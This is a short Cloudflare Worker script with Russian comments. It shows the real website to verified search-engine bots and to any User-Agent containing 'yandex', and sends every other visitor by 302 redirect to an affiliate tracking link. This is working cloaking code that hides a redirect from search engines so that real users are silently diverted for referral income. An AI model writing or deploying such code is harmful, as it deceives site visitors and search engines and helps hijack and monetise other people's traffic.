export default { async fetch(request, env, ctx) { const url = new URL(request.url); const userAgent = request.headers.get('user-agent') || ''; // 1. Проверяем, является ли бот официально подтвержденным поисковиком в Cloudflare (Яндекс, Google и т.д.) const isVerifiedBot = request.cf && request.cf.verifiedBot; // 2. Дополнительно проверяем строку User-Agent на наличие Яндекса const isYandexUserAgent = userAgent.toLowerCase().includes('yandex'); // Если это подтвержденный бот ИЛИ в его имени есть Yandex — редирект не делаем, отдаем сайт! if (isVerifiedBot || isYandexUserAgent) { return fetch(request); } // Ссылка для обычных людей const targetUrl = 'https://tracker.referevlinks.com/link?btag=67305907_354450'; // Временный 302 редирект для пользователей return Response.redirect(targetUrl, 302); }, };